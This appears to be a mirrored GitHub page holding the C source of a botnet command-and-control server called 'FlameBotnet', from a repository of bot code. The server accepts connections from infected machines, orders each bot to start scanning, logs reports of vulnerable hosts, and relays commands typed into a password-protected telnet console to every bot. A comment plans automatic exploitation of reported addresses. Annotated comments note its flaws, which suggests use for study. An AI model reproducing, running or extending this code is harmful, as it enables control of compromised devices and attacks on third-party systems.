mirror of
https://github.com/threatland/TL-BOTS
synced 2024-06-28 18:01:53 +00:00
447 lines
19 KiB
C
447 lines
19 KiB
C
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netdb.h>
|
|
#include <unistd.h>
|
|
#include <time.h>
|
|
#include <fcntl.h>
|
|
#include <sys/epoll.h>
|
|
#include <errno.h>
|
|
#include <pthread.h>
|
|
#include <signal.h>
|
|
|
|
#define MY_MGM_PASS "FlameBotnet"
|
|
#define MY_MGM_PORT 1238
|
|
|
|
#define MAXFDS 1000000 // No way we actually reach this amount. Ever.
|
|
|
|
struct clientdata_t {
|
|
uint32_t ip;
|
|
char build[7];
|
|
char connected;
|
|
} clients[MAXFDS];
|
|
struct telnetdata_t {
|
|
int connected;
|
|
} managements[MAXFDS];
|
|
static volatile FILE *fileFD;
|
|
static volatile int epollFD = 0;
|
|
static volatile int listenFD = 0;
|
|
static volatile int managesConnected = 0;
|
|
int fdgets(unsigned char *buffer, int bufferSize, int fd)
|
|
{
|
|
int total = 0, got = 1;
|
|
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
|
|
return got;
|
|
}
|
|
void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
|
|
{
|
|
int i;
|
|
int begin = 0;
|
|
int end = strlen(str) - 1;
|
|
while (isspace(str[begin])) begin++;
|
|
while ((end >= begin) && isspace(str[end])) end--;
|
|
for (i = begin; i <= end; i++) str[i - begin] = str[i];
|
|
str[i - begin] = '\0';
|
|
}
|
|
|
|
|
|
static int make_socket_non_blocking (int sfd)
|
|
{ // man fcntl
|
|
int flags, s;
|
|
flags = fcntl (sfd, F_GETFL, 0);
|
|
if (flags == -1)
|
|
{
|
|
perror ("fcntl");
|
|
return -1;
|
|
}
|
|
flags |= O_NONBLOCK;
|
|
/*
|
|
F_SETFL (int)
|
|
Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
|
|
ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
|
|
*/
|
|
s = fcntl (sfd, F_SETFL, flags);
|
|
if (s == -1)
|
|
{
|
|
perror ("fcntl");
|
|
return -1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
static int create_and_bind (char *port)
|
|
{
|
|
struct addrinfo hints;
|
|
struct addrinfo *result, *rp;
|
|
int s, sfd;
|
|
memset (&hints, 0, sizeof (struct addrinfo));
|
|
hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
|
|
hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
|
|
hints.ai_flags = AI_PASSIVE; /* All interfaces */
|
|
s = getaddrinfo (NULL, port, &hints, &result);
|
|
if (s != 0)
|
|
{
|
|
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
|
|
return -1;
|
|
}
|
|
for (rp = result; rp != NULL; rp = rp->ai_next)
|
|
{
|
|
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
|
|
if (sfd == -1) continue;
|
|
int yes = 1;
|
|
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
|
|
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
|
|
if (s == 0)
|
|
{
|
|
break;
|
|
}
|
|
close (sfd);
|
|
}
|
|
if (rp == NULL)
|
|
{
|
|
fprintf (stderr, "Could not bind\n");
|
|
return -1;
|
|
}
|
|
freeaddrinfo (result);
|
|
return sfd;
|
|
}
|
|
void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
|
|
{
|
|
int sendMGM = 1;
|
|
if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
|
|
char *wot = malloc(strlen(msg) + 10);
|
|
memset(wot, 0, strlen(msg) + 10);
|
|
strcpy(wot, msg);
|
|
trim(wot);
|
|
time_t rawtime;
|
|
struct tm * timeinfo;
|
|
time(&rawtime);
|
|
timeinfo = localtime(&rawtime);
|
|
char *timestamp = asctime(timeinfo);
|
|
trim(timestamp);
|
|
int i;
|
|
for(i = 0; i < MAXFDS; i++)
|
|
{
|
|
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
|
|
if(sendMGM && managements[i].connected)
|
|
{
|
|
send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
|
|
send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
|
|
send(i, ": ", 2, MSG_NOSIGNAL);
|
|
} //just a prompt with a timestamp.
|
|
printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
|
|
send(i, msg, strlen(msg), MSG_NOSIGNAL);
|
|
if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
|
|
else send(i, "\n", 1, MSG_NOSIGNAL);
|
|
}
|
|
free(wot);
|
|
}
|
|
|
|
void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
|
|
{
|
|
struct epoll_event event;
|
|
struct epoll_event *events;
|
|
int s;
|
|
events = calloc (MAXFDS, sizeof event);
|
|
while (1)
|
|
{
|
|
int n, i;
|
|
n = epoll_wait (epollFD, events, MAXFDS, -1);
|
|
for (i = 0; i < n; i++)
|
|
{
|
|
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
|
|
{
|
|
clients[events[i].data.fd].connected = 0;
|
|
close(events[i].data.fd);
|
|
continue;
|
|
}
|
|
else if (listenFD == events[i].data.fd)
|
|
{
|
|
while (1)
|
|
{
|
|
struct sockaddr in_addr;
|
|
socklen_t in_len;
|
|
int infd, ipIndex;
|
|
|
|
in_len = sizeof in_addr;
|
|
infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
|
|
if (infd == -1)
|
|
{
|
|
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
|
|
else
|
|
{
|
|
perror ("accept");
|
|
break;
|
|
}
|
|
}
|
|
|
|
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
|
|
|
|
int dup = 0;
|
|
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
|
|
{
|
|
if(!clients[ipIndex].connected || ipIndex == infd) continue;
|
|
|
|
if(clients[ipIndex].ip == clients[infd].ip)
|
|
{
|
|
dup = 1;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if(dup)
|
|
{
|
|
printf("dup client\n"); // warns the operator on command line
|
|
if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
|
|
if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
|
|
close(infd);
|
|
continue;
|
|
}
|
|
|
|
s = make_socket_non_blocking (infd);
|
|
if (s == -1) { close(infd); break; }
|
|
|
|
event.data.fd = infd;
|
|
event.events = EPOLLIN | EPOLLET;
|
|
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
|
|
if (s == -1)
|
|
{
|
|
perror ("epoll_ctl");
|
|
close(infd);
|
|
break;
|
|
}
|
|
|
|
clients[infd].connected = 1;
|
|
send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
|
|
}
|
|
continue;
|
|
}
|
|
else
|
|
{
|
|
int thefd = events[i].data.fd;
|
|
struct clientdata_t *client = &(clients[thefd]);
|
|
int done = 0;
|
|
client->connected = 1;
|
|
while (1)
|
|
{
|
|
ssize_t count;
|
|
char buf[2048];
|
|
memset(buf, 0, sizeof buf);
|
|
|
|
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
|
|
{
|
|
if(strstr(buf, "\n") == NULL) { done = 1; break; }
|
|
trim(buf);
|
|
if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
|
|
{
|
|
if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
|
|
continue;
|
|
}
|
|
if(strstr(buf, "BUILD ") == buf)
|
|
{
|
|
char *build = strstr(buf, "BUILD ") + 6;
|
|
if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
|
|
memset(client->build, 0, 7);
|
|
strcpy(client->build, build);
|
|
continue;
|
|
}
|
|
if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
|
|
{
|
|
char *line = strstr(buf, "REPORT ") + 7;
|
|
fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
|
|
fflush(fileFD);
|
|
//TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
|
|
continue;
|
|
}
|
|
if(strcmp(buf, "PONG") == 0)
|
|
{
|
|
//should really add some checking or something but meh
|
|
continue;
|
|
}
|
|
|
|
printf("buf: \"%s\"\n", buf);
|
|
}
|
|
|
|
if (count == -1)
|
|
{
|
|
if (errno != EAGAIN)
|
|
{
|
|
done = 1;
|
|
}
|
|
break;
|
|
}
|
|
else if (count == 0)
|
|
{
|
|
done = 1;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (done)
|
|
{
|
|
client->connected = 0;
|
|
close(thefd);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
|
|
{
|
|
int i = 0, total = 0;
|
|
for(i = 0; i < MAXFDS; i++)
|
|
{
|
|
if(!clients[i].connected) continue;
|
|
total++;
|
|
}
|
|
|
|
return total;
|
|
}
|
|
|
|
void *titleWriter(void *sock) // just an informational banner
|
|
{
|
|
// this LOOKS vulnerable, but it's actually not.
|
|
// there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
|
|
int thefd = (int)sock;
|
|
char string[2048];
|
|
while(1)
|
|
{
|
|
memset(string, 0, 2048);
|
|
sprintf(string, "%c]0;Bots connected: %d | Clients connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
|
|
// \007 is a bell character... causes a beep. Why is there a beep here?
|
|
if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
|
|
|
|
sleep(2);
|
|
}
|
|
}
|
|
|
|
|
|
void *telnetWorker(void *sock)
|
|
{
|
|
int thefd = (int)sock;
|
|
managesConnected++;
|
|
pthread_t title;
|
|
char buf[2048];
|
|
memset(buf, 0, sizeof buf);
|
|
|
|
if(send(thefd, "password: ", 10, MSG_NOSIGNAL) == -1) goto end; /* failed to send... kill connection */
|
|
if(fdgets(buf, sizeof buf, thefd) < 1) goto end; /* no data, kill connection */
|
|
trim(buf);
|
|
if(strcmp(buf, MY_MGM_PASS) != 0) goto end; /* bad pass, kill connection */
|
|
memset(buf, 0, 2048);
|
|
if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
|
|
pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
|
|
if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
|
|
if(send(thefd, "* WELCOME TO THE BALL PIT *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
|
|
if(send(thefd, "* Now with \x1b[32mFlameBotnet\x1b[31m support *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
|
|
if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
|
|
/* If we can't send the useless banner, kill ourselves! Amazing error handling! */
|
|
managements[thefd].connected = 1;
|
|
|
|
while(fdgets(buf, sizeof buf, thefd) > 0)
|
|
{
|
|
trim(buf);
|
|
if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
|
|
if(strlen(buf) == 0) continue;
|
|
printf("management: \"%s\"\n", buf);
|
|
broadcast(buf, thefd); // take a command, send it to the bots
|
|
memset(buf, 0, 2048);
|
|
}
|
|
|
|
end: // cleanup dead socket
|
|
managements[thefd].connected = 0;
|
|
close(thefd);
|
|
managesConnected--;
|
|
}
|
|
|
|
void *telnetListener(void *useless)
|
|
{
|
|
int sockfd, newsockfd;
|
|
socklen_t clilen;
|
|
struct sockaddr_in serv_addr, cli_addr;
|
|
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
|
if (sockfd < 0) perror("ERROR opening socket");
|
|
bzero((char *) &serv_addr, sizeof(serv_addr));
|
|
serv_addr.sin_family = AF_INET;
|
|
serv_addr.sin_addr.s_addr = INADDR_ANY;
|
|
serv_addr.sin_port = htons(MY_MGM_PORT);
|
|
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
|
|
listen(sockfd,5);
|
|
clilen = sizeof(cli_addr);
|
|
while(1)
|
|
{
|
|
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
|
|
if (newsockfd < 0) perror("ERROR on accept");
|
|
pthread_t thread;
|
|
pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
|
|
}
|
|
}
|
|
|
|
int main (int argc, char *argv[])
|
|
{
|
|
signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
|
|
|
|
int s, threads;
|
|
struct epoll_event event;
|
|
|
|
if (argc != 3)
|
|
{
|
|
fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
|
|
threads = atoi(argv[2]);
|
|
|
|
listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
|
|
if (listenFD == -1) abort ();
|
|
|
|
s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
|
|
if (s == -1) abort ();
|
|
|
|
s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
|
|
if (s == -1)
|
|
{
|
|
perror ("listen");
|
|
abort ();
|
|
}
|
|
|
|
epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
|
|
if (epollFD == -1)
|
|
{
|
|
perror ("epoll_create");
|
|
abort ();
|
|
}
|
|
|
|
event.data.fd = listenFD;
|
|
event.events = EPOLLIN | EPOLLET;
|
|
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
|
|
if (s == -1)
|
|
{
|
|
perror ("epoll_ctl");
|
|
abort ();
|
|
}
|
|
|
|
pthread_t thread[threads + 2];
|
|
while(threads--)
|
|
{
|
|
pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
|
|
}
|
|
|
|
pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
|
|
|
|
while(1)
|
|
{
|
|
broadcast("PING", -1); // ping bots every 60 sec on the main thread
|
|
|
|
sleep(60);
|
|
}
|
|
|
|
close (listenFD);
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|